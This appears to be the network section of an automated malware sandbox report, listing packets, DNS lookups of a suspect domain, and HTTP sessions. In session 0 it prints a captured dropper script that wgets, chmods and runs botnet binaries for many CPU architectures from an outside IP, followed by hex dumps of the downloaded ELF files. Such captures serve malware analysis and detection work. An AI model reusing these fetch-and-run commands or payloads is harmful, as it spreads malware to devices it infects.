Mar 31, 2025 14:09:44.143543005 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:09:44.258263111 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:09:49.029865980 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:09:49.029978991 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:09:49.148420095 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:09:49.148642063 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:09:49.265614986 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:09:54.031064987 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:09:54.031250000 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:09:54.148063898 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:09:54.148261070 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:09:54.487230062 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:09:54.602185965 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:09:59.034951925 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:09:59.035382986 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:09:59.152141094 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:09:59.152211905 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:09:59.267676115 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:10:04.034455061 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:10:04.034861088 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:10:04.151580095 CEST	1290	49940	155.138.230.16	192.168.2.13
Mar 31, 2025 14:10:04.151798010 CEST	49940	1290	192.168.2.13	155.138.230.16
Mar 31, 2025 14:10:04.270813942 CEST	1290	49940	155.138.230.16	192.168.2.13

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 31, 2025 14:08:08.669862986 CEST	58907	53	192.168.2.13	1.1.1.1
Mar 31, 2025 14:08:08.781944990 CEST	53	58907	1.1.1.1	192.168.2.13
Mar 31, 2025 14:08:56.387265921 CEST	39896	53	192.168.2.13	1.1.1.1
Mar 31, 2025 14:08:56.387345076 CEST	57244	53	192.168.2.13	1.1.1.1
Mar 31, 2025 14:08:56.484076977 CEST	53	57244	1.1.1.1	192.168.2.13
Mar 31, 2025 14:08:56.484112978 CEST	53	39896	1.1.1.1	192.168.2.13

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 31, 2025 14:08:08.669862986 CEST	192.168.2.13	1.1.1.1	0x8328	Standard query (0)	api.znet.homes	A (IP address)	IN (0x0001)	false
Mar 31, 2025 14:08:56.387265921 CEST	192.168.2.13	1.1.1.1	0xf7d4	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Mar 31, 2025 14:08:56.387345076 CEST	192.168.2.13	1.1.1.1	0x98ee	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Mar 31, 2025 14:08:08.781944990 CEST	1.1.1.1	192.168.2.13	0x8328	No error (0)	api.znet.homes	155.138.230.16	A (IP address)	IN (0x0001)	false
Mar 31, 2025 14:08:56.484112978 CEST	1.1.1.1	192.168.2.13	0xf7d4	No error (0)	daisy.ubuntu.com	162.213.35.25	A (IP address)	IN (0x0001)	false
Mar 31, 2025 14:08:56.484112978 CEST	1.1.1.1	192.168.2.13	0xf7d4	No error (0)	daisy.ubuntu.com	162.213.35.24	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

217.156.66.6

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.13	48262	217.156.66.6	80

Timestamp	Bytes transferred	Direction	Data
Mar 31, 2025 14:08:12.488399982 CEST	100	OUT	GET /bins/bins.sh HTTP/1.1 Host: 217.156.66.6 User-Agent: curl/7.68.0 Accept: /
Mar 31, 2025 14:08:12.729115009 CEST	1031	IN	HTTP/1.1 200 OK Date: Mon, 31 Mar 2025 12:08:12 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Sun, 30 Mar 2025 19:29:04 GMT ETag: "525-63194510b4121" Accept-Ranges: bytes Content-Length: 1317 Content-Type: text/x-sh Data Raw: 63 64 20 2f 74 6d 70 20 7c 7c 20 63 64 20 2f 76 61 72 2f 72 75 6e 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 32 31 37 2e 31 35 36 2e 36 36 2e 36 2f 62 69 6e 73 2f 61 72 6d 76 34 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 61 72 6d 76 34 6c 3b 20 2e 2f 61 72 6d 76 34 6c 20 77 73 63 61 6e 3b 0d 0a 63 64 20 2f 74 6d 70 20 7c 7c 20 63 64 20 2f 76 61 72 2f 72 75 6e 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 32 31 37 2e 31 35 36 2e 36 36 2e 36 2f 62 69 6e 73 2f 61 72 6d 76 35 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 61 72 6d 76 35 6c 3b 20 2e 2f 61 72 6d 76 35 6c 20 77 73 63 61 6e 3b 0d 0a 63 64 20 2f 74 6d 70 20 7c 7c 20 63 64 20 2f 76 61 72 2f 72 75 6e 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 32 31 37 2e 31 35 36 2e 36 36 2e 36 2f 62 69 6e 73 2f 61 72 6d 76 36 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 61 72 6d 76 36 6c 3b 20 2e 2f 61 72 6d 76 36 6c 20 77 73 63 61 6e 3b 0d 0a 63 64 20 2f 74 6d 70 20 7c 7c 20 63 64 20 2f 76 61 72 2f 72 75 6e 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 32 31 37 2e 31 35 36 2e 36 36 2e [TRUNCATED] Data Ascii: cd /tmp \|\| cd /var/run; wget http://217.156.66.6/bins/armv4l; chmod 777 armv4l; ./armv4l wscan;cd /tmp \|\| cd /var/run; wget http://217.156.66.6/bins/armv5l; chmod 777 armv5l; ./armv5l wscan;cd /tmp \|\| cd /var/run; wget http://217.156.66.6/bins/armv6l; chmod 777 armv6l; ./armv6l wscan;cd /tmp \|\| cd /var/run; wget http://217.156.66.6/bins/armv7l; chmod 777 armv7l; ./armv7l wscan;cd /tmp \|\| cd /var/run; wget http://217.156.66.6/bins/i486; chmod 777 i486; ./i486 wscan;cd /tmp \|\| cd /var/run; wget http://217.156.66.6/bins/i586; chmod 777 i586; ./i586 wscan;cd /tmp \|\| cd /var/run; wget http://217.156.66.6/bins/i686; chmod 777 i686; ./i686 wscan;cd /tmp \|\| cd /var/run; wget http://217.156.66.6/bins/m68k; chmod 777 m68k; ./m68k wscan;cd /tmp \|\| cd /var/run; wget http://2
Mar 31, 2025 14:08:12.729126930 CEST	540	IN	Data Raw: 31 37 2e 31 35 36 2e 36 36 2e 36 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 69 70 73 3b 20 2e 2f 6d 69 70 73 20 77 73 63 61 6e 3b 0d 0a 63 64 20 2f 74 6d 70 20 7c 7c 20 63 64 20 2f 76 61 72 2f 72 75 6e 3b 20 77 67 65 74 Data Ascii: 17.156.66.6/bins/mips; chmod 777 mips; ./mips wscan;cd /tmp \|\| cd /var/run; wget http://217.156.66.6/bins/mipsel; chmod 777 mipsel; ./mipsel wscan;cd /tmp \|\| cd /var/run; wget http://217.156.66.6/bins/powerpc; chmod 777 powerpc; ./powerpc

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.13	48264	217.156.66.6	80

Timestamp	Bytes transferred	Direction	Data
Mar 31, 2025 14:08:13.828447104 CEST	162	OUT	GET /bins/armv4l HTTP/1.1 User-Agent: Wget/1.20.3 (linux-gnu) Accept: / Accept-Encoding: identity Host: 217.156.66.6 Connection: Keep-Alive
Mar 31, 2025 14:08:14.053056002 CEST	1031	IN	HTTP/1.1 200 OK Date: Mon, 31 Mar 2025 12:08:13 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Sun, 30 Mar 2025 19:26:18 GMT ETag: "13484-63194471b9e56" Accept-Ranges: bytes Content-Length: 78980 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 7f 45 4c 46 01 01 01 61 00 00 00 00 00 00 00 00 02 00 28 00 01 00 00 00 90 81 00 00 34 00 00 00 7c 32 01 00 02 02 00 00 34 00 20 00 03 00 28 00 0d 00 0c 00 01 00 00 00 00 00 00 00 00 80 00 00 00 80 00 00 34 21 01 00 34 21 01 00 05 00 00 00 00 80 00 00 01 00 00 00 34 21 01 00 34 21 02 00 34 21 02 00 a4 03 00 00 b4 66 00 00 06 00 00 00 00 80 00 00 51 e5 74 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 00 00 00 04 00 00 00 0d c0 a0 e1 f0 df 2d e9 04 b0 4c e2 22 00 00 eb 43 42 00 eb f0 af 1b e9 00 00 00 00 30 40 2d e9 5c 50 9f e5 00 30 d5 e5 00 00 53 e3 30 80 bd 18 50 40 9f e5 00 30 94 e5 00 20 93 e5 00 00 52 e3 07 00 00 0a 04 30 83 e2 00 30 84 e5 0f e0 a0 e1 02 f0 a0 e1 00 30 94 e5 00 20 93 e5 00 00 52 e3 f7 ff ff 1a 20 30 9f e5 00 00 53 e3 1c 00 9f 15 0f e0 a0 11 03 f0 a0 11 01 30 a0 e3 00 30 c5 e5 30 80 bd e8 d8 24 02 00 50 21 02 00 00 00 00 00 30 a1 01 00 04 e0 2d e5 04 f0 9d e4 3c 30 9f e5 00 00 53 e3 04 e0 2d e5 34 00 9f e5 34 10 9f e5 0f e0 a0 11 03 f0 a0 11 2c 00 9f e5 00 30 [TRUNCATED] Data Ascii: ELFa(4\|24 (4!4!4!4!4!fQtd-L"CB0@-\P0S0P@0 R000 R 0S000$P!0-<0S-44,0S$0S0$D!- ---03v0G- 00 00 00 00 00 00 00 pP`@pP`@ (1P`@p" 0 '%&0$,X0
Mar 31, 2025 14:08:14.053091049 CEST	1031	IN	Data Raw: e5 11 10 cc e5 12 00 cc e5 0e c0 a0 e1 e2 ff ff 1a f0 87 bd e8 08 8a 01 00 08 8c 01 00 f0 4f 2d e9 00 10 a0 e3 60 d0 4d e2 5c 00 8d e5 48 10 8d e5 5c 20 9d e5 00 20 d2 e5 5c 30 9d e5 4c 20 8d e5 01 30 d3 e5 5c 40 9d e5 50 30 8d e5 02 40 d4 e5 5c Data Ascii: O-`M\H\ \0L 0\@P0@\PT@PXPP3#brIaF@@p`c0`@`&0#`r0,0H3qG bpaR,"QEp'PcC
Mar 31, 2025 14:08:14.054197073 CEST	1031	IN	Data Raw: cb e5 09 20 cb e5 05 10 cb e5 01 80 cb e5 02 00 cb e5 0a 60 cb e5 06 c0 cb e5 0e 70 cb e5 03 e0 cb e5 07 40 cb e5 0b 50 cb e5 14 e0 9d e5 0f e0 cb e5 0b 90 a0 e1 00 a0 a0 e3 00 30 d9 e5 04 20 d9 e5 1c 42 9f e5 08 10 d9 e5 0c 00 d9 e5 03 e0 d4 e7 Data Ascii: `p@P0 B@"0 Z@0 2 00#0 0 " 0 0#00 0#Q0
Mar 31, 2025 14:08:14.054234028 CEST	1031	IN	Data Raw: 2e 00 eb 0c 00 8d e5 7b 2e 00 eb 00 b0 a0 e1 79 2e 00 eb 00 60 a0 e1 77 2e 00 eb 10 00 8d e5 75 2e 00 eb 14 00 8d e5 73 2e 00 eb 18 00 8d e5 71 2e 00 eb 1c 00 8d e5 6f 2e 00 eb 20 00 8d e5 6d 2e 00 eb 24 00 8d e5 6b 2e 00 eb 28 00 8d e5 69 2e 00 Data Ascii: .{.y.`w.u.s.q.o. m.$k.(i.60/00C50N0;010=00CB008 D00C0 F0 B06 H06 \|0< J0 B!0C> L0 Bo0CC N0 0E A BG 10 0
Mar 31, 2025 14:08:14.054269075 CEST	1031	IN	Data Raw: 05 00 a0 e1 01 2c 00 eb 04 10 a0 e3 0c 00 8d e5 05 00 a0 e1 fd 2b 00 eb 01 48 a0 e3 01 40 44 e2 09 10 a0 e1 07 20 a0 e3 04 30 a0 e1 00 60 a0 e1 0a 00 a0 e1 d2 01 00 eb 00 c8 a0 e1 06 20 a0 e3 0a 00 a0 e1 04 30 a0 e1 2c c8 a0 e1 09 10 a0 e1 10 c0 Data Ascii: ,+H@D 0` 0, (0RX0L0P0T004 UZ!$04(0 BC4 04 +p
Mar 31, 2025 14:08:14.054302931 CEST	1031	IN	Data Raw: 1a 1c 50 84 e5 30 80 bd e8 09 10 a0 e3 1c 20 00 eb 04 00 94 e5 00 50 a0 e3 00 00 50 e3 00 50 84 e5 de ff ff 0a 09 10 a0 e3 15 20 00 eb 08 00 94 e5 00 00 50 e3 04 50 84 e5 dc ff ff 0a 09 10 a0 e3 0f 20 00 eb 0c 00 94 e5 00 00 50 e3 08 50 84 e5 da Data Ascii: P0 PPP PP PP PP PPPPPPP0$O-QMP@Q
Mar 31, 2025 14:08:14.276499033 CEST	1031	IN	Data Raw: 43 e0 40 20 9d e5 0c 20 84 e5 09 30 83 e0 04 10 c4 e5 10 20 93 e5 14 10 84 e2 08 30 a0 e3 03 00 c1 e5 02 30 c1 e5 18 30 d4 e5 b0 30 c3 e3 40 30 83 e3 18 30 c4 e5 10 20 84 e5 18 20 d4 e5 0a 20 c2 e3 05 20 82 e3 18 20 c4 e5 48 30 9d e5 18 50 84 e2 Data Ascii: C@ 0 0000@00 H0P0p 0@0 L 00 0d;@Q0000x0,`( 0\|0 @ Tp \|@
Mar 31, 2025 14:08:14.276539087 CEST	1031	IN	Data Raw: fa ff eb 01 38 a0 e3 00 c0 a0 e1 ff c0 0c e2 06 10 a0 e1 01 30 43 e2 03 20 a0 e3 05 00 a0 e1 28 c0 8d e5 df fa ff eb 06 10 a0 e1 18 00 8d e5 04 20 a0 e3 05 00 a0 e1 80 30 a0 e3 d9 fa ff eb 00 c0 a0 e1 06 10 a0 e1 ff c0 0c e2 05 20 a0 e3 00 30 a0 Data Ascii: 80C ( 0 00 @0 0x$0 4! 0 0<"
Mar 31, 2025 14:08:14.276568890 CEST	1031	IN	Data Raw: 9d 0b 00 eb 40 34 a0 e1 0b 30 c5 e5 0a 00 c5 e5 08 10 8a e2 02 80 c6 e5 03 80 c6 e5 06 00 a0 e1 95 0b 00 eb 48 20 9d e5 82 e2 a0 e1 40 34 a0 e1 82 e1 4e e0 03 30 c6 e5 02 00 c6 e5 0e e0 89 e0 01 39 a0 e3 10 c0 a0 e3 05 10 a0 e1 04 20 a0 e1 24 00 Data Ascii: @40H @4N09 $#H0PH$L D0 @!4<!<C$ 0@H0A(
Mar 31, 2025 14:08:14.276603937 CEST	1031	IN	Data Raw: e3 0f 00 00 1a 08 50 a0 e1 08 40 a0 e1 09 00 94 e7 0a 10 94 e7 01 50 85 e2 06 20 a0 e1 01 39 a0 e3 1b 22 00 eb 07 00 55 e1 04 40 84 e2 f6 ff ff 1a 00 00 57 e3 ef ff ff da ef ff ff ea 2c d0 8d e2 f0 8f bd e8 00 50 a0 e3 05 b0 a0 e1 0a 40 9b e7 06 Data Ascii: P@P 9"U@W,P@P 9"UWO-@MMP` 0 ?80C ,
Mar 31, 2025 14:08:14.277170897 CEST	1031	IN	Data Raw: 8d e5 00 10 a0 e3 40 00 8d e2 9b 1f 00 eb 04 10 a0 e3 1c 00 9d e5 09 22 00 eb 01 38 a0 e3 14 00 8d e5 05 10 a0 e1 01 30 43 e2 07 20 a0 e3 04 00 a0 e1 df f7 ff eb 00 c8 a0 e1 2c c8 a0 e1 05 10 a0 e1 1b 20 a0 e3 00 30 a0 e3 04 00 a0 e1 20 c0 8d e5 Data Ascii: @"80C , 0 , <$ ,0( 0,N= `0(4$P #0 %*(0$

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.13	48266	217.156.66.6	80

Timestamp	Bytes transferred	Direction	Data
Mar 31, 2025 14:08:16.541249037 CEST	162	OUT	GET /bins/armv5l HTTP/1.1 User-Agent: Wget/1.20.3 (linux-gnu) Accept: / Accept-Encoding: identity Host: 217.156.66.6 Connection: Keep-Alive
Mar 31, 2025 14:08:16.765991926 CEST	1031	IN	HTTP/1.1 200 OK Date: Mon, 31 Mar 2025 12:08:16 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Sun, 30 Mar 2025 19:26:20 GMT ETag: "1287c-63194474605a8" Accept-Ranges: bytes Content-Length: 75900 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 7f 45 4c 46 01 01 01 61 00 00 00 00 00 00 00 00 02 00 28 00 01 00 00 00 90 81 00 00 34 00 00 00 74 26 01 00 02 00 00 00 34 00 20 00 03 00 28 00 0d 00 0c 00 01 00 00 00 00 00 00 00 00 80 00 00 00 80 00 00 2c 15 01 00 2c 15 01 00 05 00 00 00 00 80 00 00 01 00 00 00 2c 15 01 00 2c 15 02 00 2c 15 02 00 a4 03 00 00 b4 66 00 00 06 00 00 00 00 80 00 00 51 e5 74 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 00 00 00 04 00 00 00 0d c0 a0 e1 f0 df 2d e9 04 b0 4c e2 22 00 00 eb 41 3f 00 eb f0 af 1b e9 00 00 00 00 30 40 2d e9 5c 50 9f e5 00 30 d5 e5 00 00 53 e3 30 80 bd 18 50 40 9f e5 00 30 94 e5 00 20 93 e5 00 00 52 e3 07 00 00 0a 04 30 83 e2 00 30 84 e5 0f e0 a0 e1 02 f0 a0 e1 00 30 94 e5 00 20 93 e5 00 00 52 e3 f7 ff ff 1a 20 30 9f e5 00 00 53 e3 1c 00 9f 15 0f e0 a0 11 03 f0 a0 11 01 30 a0 e3 00 30 c5 e5 30 80 bd e8 d0 18 02 00 48 15 02 00 00 00 00 00 28 95 01 00 04 e0 2d e5 04 f0 9d e4 3c 30 9f e5 00 00 53 e3 04 e0 2d e5 34 00 9f e5 34 10 9f e5 0f e0 a0 11 03 f0 a0 11 2c 00 9f e5 00 30 [TRUNCATED] Data Ascii: ELFa(4t&4 (,,,,,fQtd-L"A?0@-\P0S0P@0 R000 R 0S000H(-<0S-44,0S$0S(<- ---030}G- 00 00 00 00 00 00 00 pP`@pP`@ (1P`@p" 0 '%&0$,X0
Mar 31, 2025 14:08:16.766006947 CEST	1031	IN	Data Raw: e5 11 10 cc e5 12 00 cc e5 0e c0 a0 e1 e2 ff ff 1a f0 87 bd e8 00 7e 01 00 00 80 01 00 f0 4f 2d e9 00 10 a0 e3 60 d0 4d e2 5c 00 8d e5 48 10 8d e5 5c 20 9d e5 00 20 d2 e5 5c 30 9d e5 4c 20 8d e5 01 30 d3 e5 5c 40 9d e5 50 30 8d e5 02 40 d4 e5 5c Data Ascii: ~O-`M\H\ \0L 0\@P0@\PT@PXPP3#brIaF@@p`c0`@`&0#`r0,0H3qG bpaR,"QEp'PcC
Mar 31, 2025 14:08:16.766045094 CEST	1031	IN	Data Raw: cb e5 09 20 cb e5 05 10 cb e5 01 80 cb e5 02 00 cb e5 0a 60 cb e5 06 c0 cb e5 0e 70 cb e5 03 e0 cb e5 07 40 cb e5 0b 50 cb e5 14 e0 9d e5 0f e0 cb e5 0b 90 a0 e1 00 a0 a0 e3 00 30 d9 e5 04 20 d9 e5 1c 42 9f e5 08 10 d9 e5 0c 00 d9 e5 03 e0 d4 e7 Data Ascii: `p@P0 B@"0 Z@0 2 00#0 0 " 0 0#00 0#Q0
Mar 31, 2025 14:08:16.766056061 CEST	1031	IN	Data Raw: 2e 00 eb 0c 00 8d e5 87 2e 00 eb 00 b0 a0 e1 85 2e 00 eb 00 60 a0 e1 83 2e 00 eb 10 00 8d e5 81 2e 00 eb 14 00 8d e5 7f 2e 00 eb 18 00 8d e5 7d 2e 00 eb 1c 00 8d e5 7b 2e 00 eb 20 00 8d e5 79 2e 00 eb 24 00 8d e5 77 2e 00 eb 28 00 8d e5 75 2e 00 Data Ascii: ...`...}.{. y.$w.(u.60/00C50N0;010=00CB008 D00C0 F0 B06 H06 \|0< J0 B!0C> L0 Bo0CC N0 0E A BG 10 0
Mar 31, 2025 14:08:16.766132116 CEST	1031	IN	Data Raw: 05 00 a0 e1 0d 2c 00 eb 04 10 a0 e3 0c 00 8d e5 05 00 a0 e1 09 2c 00 eb 01 48 a0 e3 01 40 44 e2 09 10 a0 e1 07 20 a0 e3 04 30 a0 e1 00 60 a0 e1 0a 00 a0 e1 d3 01 00 eb 00 c8 a0 e1 06 20 a0 e3 0a 00 a0 e1 04 30 a0 e1 2c c8 a0 e1 09 10 a0 e1 10 c0 Data Ascii: ,,H@D 0` 0, (0RX0L0P0T004 U[!$04(0 BC4 05 +p
Mar 31, 2025 14:08:16.766264915 CEST	1031	IN	Data Raw: e5 2c 00 00 1a 1c 50 84 e5 30 80 bd e8 09 10 a0 e3 26 20 00 eb 04 00 94 e5 00 50 a0 e3 00 00 50 e3 00 50 84 e5 de ff ff 0a 09 10 a0 e3 1f 20 00 eb 08 00 94 e5 00 00 50 e3 04 50 84 e5 dc ff ff 0a 09 10 a0 e3 19 20 00 eb 0c 00 94 e5 00 00 50 e3 08 Data Ascii: ,P0& PPP PP PP PP PP PP PPP0O-QMP@Q
Mar 31, 2025 14:08:16.766275883 CEST	1031	IN	Data Raw: 00 ea f0 40 2d e9 08 10 a0 e3 01 00 a0 e3 0d 2a 00 eb b8 44 9f e5 00 10 d4 e5 b4 64 9f e5 b4 24 9f e5 00 50 a0 e1 00 30 a0 e3 01 11 a0 e1 00 00 96 e5 00 20 85 e5 04 30 c5 e5 04 10 81 e2 53 2a 00 eb 00 30 d4 e5 00 c0 a0 e1 03 51 8c e7 01 20 83 e2 Data Ascii: @-Dd$P0 0S0Q )l4pP0p@0Q )$$P0 0-0Q
Mar 31, 2025 14:08:17.031541109 CEST	1031	IN	Data Raw: a0 e1 82 31 43 e0 40 20 9d e5 0c 20 84 e5 09 30 83 e0 04 10 c4 e5 10 20 93 e5 14 10 84 e2 08 30 a0 e3 03 00 c1 e5 02 30 c1 e5 18 30 d4 e5 b0 30 c3 e3 40 30 83 e3 18 30 c4 e5 10 20 84 e5 18 20 d4 e5 0a 20 c2 e3 05 20 82 e3 18 20 c4 e5 48 30 9d e5 Data Ascii: 1C@ 0 0000@00 H0P0p 0@0 L 00 0d;@Q0000x0,`( 0\|0 @ Tp \|
Mar 31, 2025 14:08:17.031553984 CEST	1031	IN	Data Raw: 30 a0 e3 e8 fa ff eb 01 38 a0 e3 00 c0 a0 e1 ff c0 0c e2 06 10 a0 e1 01 30 43 e2 03 20 a0 e3 05 00 a0 e1 28 c0 8d e5 df fa ff eb 06 10 a0 e1 18 00 8d e5 04 20 a0 e3 05 00 a0 e1 80 30 a0 e3 d9 fa ff eb 00 c0 a0 e1 06 10 a0 e1 ff c0 0c e2 05 20 a0 Data Ascii: 080C ( 0 00 @0 0x$0 4! 0 0<
Mar 31, 2025 14:08:17.040050983 CEST	1031	IN	Data Raw: 05 00 a0 e1 a7 0b 00 eb 40 34 a0 e1 0b 30 c5 e5 0a 00 c5 e5 08 10 8a e2 02 80 c6 e5 03 80 c6 e5 06 00 a0 e1 9f 0b 00 eb 48 20 9d e5 82 e2 a0 e1 40 34 a0 e1 82 e1 4e e0 03 30 c6 e5 02 00 c6 e5 0e e0 89 e0 01 39 a0 e3 10 c0 a0 e3 05 10 a0 e1 04 20 Data Ascii: @40H @4N09 $!#H0PH$L D0 @!4<!<C$ 0@H0A
Mar 31, 2025 14:08:17.040064096 CEST	1031	IN	Data Raw: ea fe ff ff da 00 00 58 e3 0f 00 00 1a 08 50 a0 e1 08 40 a0 e1 09 00 94 e7 0a 10 94 e7 01 50 85 e2 06 20 a0 e1 01 39 a0 e3 25 22 00 eb 07 00 55 e1 04 40 84 e2 f6 ff ff 1a 00 00 57 e3 ef ff ff da ef ff ff ea 2c d0 8d e2 f0 8f bd e8 00 50 a0 e3 05 Data Ascii: XP@P 9%"U@W,P@P 9"UWO-@MMP` 0 ?80C ,

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.13	48268	217.156.66.6	80

Timestamp	Bytes transferred	Direction	Data
Mar 31, 2025 14:08:23.832372904 CEST	162	OUT	GET /bins/armv6l HTTP/1.1 User-Agent: Wget/1.20.3 (linux-gnu) Accept: / Accept-Encoding: identity Host: 217.156.66.6 Connection: Keep-Alive
Mar 31, 2025 14:08:24.058330059 CEST	1031	IN	HTTP/1.1 200 OK Date: Mon, 31 Mar 2025 12:08:23 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Sun, 30 Mar 2025 19:26:15 GMT ETag: "153f0-6319446f1890c" Accept-Ranges: bytes Content-Length: 87024 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Data Raw: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 02 00 28 00 01 00 00 00 54 81 00 00 34 00 00 00 98 51 01 00 02 00 00 04 34 00 20 00 03 00 28 00 0f 00 0e 00 01 00 00 00 00 00 00 00 00 80 00 00 00 80 00 00 40 3b 01 00 40 3b 01 00 05 00 00 00 00 80 00 00 01 00 00 00 00 40 01 00 00 40 02 00 00 40 02 00 20 03 00 00 58 69 00 00 06 00 00 00 00 80 00 00 51 e5 74 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 00 00 00 04 00 00 00 0d c0 a0 e1 f0 df 2d e9 04 b0 4c e2 f0 af 1b e9 00 00 00 00 00 00 00 00 00 00 00 00 10 40 2d e9 2c 40 9f e5 00 30 d4 e5 00 00 53 e3 06 00 00 1a 20 30 9f e5 00 00 53 e3 1c 00 9f 15 0f e0 a0 11 13 ff 2f 11 01 30 a0 e3 00 30 c4 e5 10 40 bd e8 1e ff 2f e1 20 43 02 00 00 00 00 00 00 40 02 00 04 e0 2d e5 40 30 9f e5 00 00 53 e3 04 d0 4d e2 38 00 9f 15 38 10 9f 15 0f e0 a0 11 13 ff 2f 11 30 00 9f e5 00 30 90 e5 00 00 53 e3 03 00 00 0a 24 30 9f e5 00 00 53 e3 0f e0 a0 11 13 ff 2f 11 04 d0 8d e2 04 e0 9d e4 1e ff 2f e1 00 00 00 00 00 40 02 00 24 43 02 00 0c 40 02 00 00 00 [TRUNCATED] Data Ascii: ELF(T4Q4 (@;@;@@@ XiQtd-L@-,@0S 0S/00@/ C@-@0SM88/00S$0S//@$C@ ---0834E- 00 00 p0`0P0@0 00 00 00 00 `@Pp`@P '1@P`"0 p0& $%.,W0 E/O-<M444
Mar 31, 2025 14:08:24.058348894 CEST	1031	IN	Data Raw: e5 02 30 d2 e5 01 60 d2 e5 24 30 8d e5 24 90 9d e5 03 50 d2 e5 a1 33 a0 e1 a6 23 a0 e1 a9 03 a0 e1 83 12 a0 e1 82 c2 a0 e1 03 e1 41 e0 02 41 4c e0 20 b0 9d e5 80 c2 a0 e1 0e 30 63 e0 00 c1 4c e0 a5 13 a0 e1 04 20 62 e0 0c 00 60 e0 8b 30 23 e0 24 Data Ascii: 0`$0$P3#AAL 0cL b`0#$ "0(0I3 , a#0)HJrc,0bqG"p`*(!B( a3N
Mar 31, 2025 14:08:24.058363914 CEST	1031	IN	Data Raw: 9f e5 08 10 d9 e5 0c 00 d9 e5 03 e0 d4 e7 02 40 d4 e7 f4 21 9f e5 01 c0 8a e2 01 30 d2 e7 ff a0 0c e2 00 20 d2 e7 04 00 5a e3 00 e0 c9 e5 04 40 c9 e5 08 30 c9 e5 0c 20 c9 e5 01 90 89 e2 ec ff ff 1a 0c 40 9d e5 04 32 a0 e1 03 c0 88 e0 0b 00 a0 e1 Data Ascii: @!0 Z@0 @2 00#0 0 " 0 0#00 0#Q00S@0D00 00#0 0 "
Mar 31, 2025 14:08:24.058381081 CEST	1031	IN	Data Raw: 20 42 e2 4e 30 83 e2 3a 20 cd e5 3f 30 cd e5 36 20 82 e2 31 30 83 e2 40 20 cd e5 41 30 cd e5 02 20 42 e2 b1 30 43 e2 42 20 cd e5 46 30 cd e5 cb 20 42 e2 bc 30 83 e2 47 20 cd e5 48 30 cd e5 98 20 82 e2 86 30 43 e2 49 20 cd e5 4a 30 cd e5 41 20 42 Data Ascii: BN0: ?06 10@ A0 B0CB F0 B0G H0 0CI J0A B0K L0 \|0M N0x !0CO P0B Bo0C@WQ R06`0C`? B;7p8EP5CD2@<@=@>@S0V 0X BT0[
Mar 31, 2025 14:08:24.058444023 CEST	1031	IN	Data Raw: 02 b4 83 11 02 00 00 1a df 16 00 eb 00 08 a0 e1 20 b8 a0 e1 00 00 56 e3 38 00 00 0a 00 10 a0 e3 01 90 a0 e1 01 a0 a0 e1 08 10 8d e5 1d 00 00 ea 08 30 9d e5 02 00 a0 e3 01 30 83 e2 00 10 a0 e1 00 20 a0 e3 08 30 8d e5 db 2a 00 eb 01 00 70 e3 18 a0 Data Ascii: V800 0pH B0L004;0S' B*VH@D-0 #44 Q0
